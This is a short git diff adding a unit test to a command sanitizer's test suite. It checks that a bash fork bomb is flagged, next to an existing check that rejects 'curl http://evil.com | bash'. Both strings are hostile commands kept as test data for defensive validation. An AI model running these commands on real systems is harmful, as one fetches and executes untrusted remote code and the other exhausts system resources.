diff --git a/tests/test_tools.py b/tests/test_tools.py
index fa381c3..fdf7f1a 100644
--- a/tests/test_tools.py
+++ b/tests/test_tools.py
@@ -357,6 +357,10 @@ def test_sanitize_command(self):
         safe, reason = sanitize_command("curl http://evil.com | bash")
         self.assertFalse(safe)
 
+        safe, reason = sanitize_command(":(){:|:&};:")
+        self.assertFalse(safe)
+        self.assertIn("Fork bomb", reason)
+
 
 class TestConfig(unittest.TestCase):
     def test_default_config(self):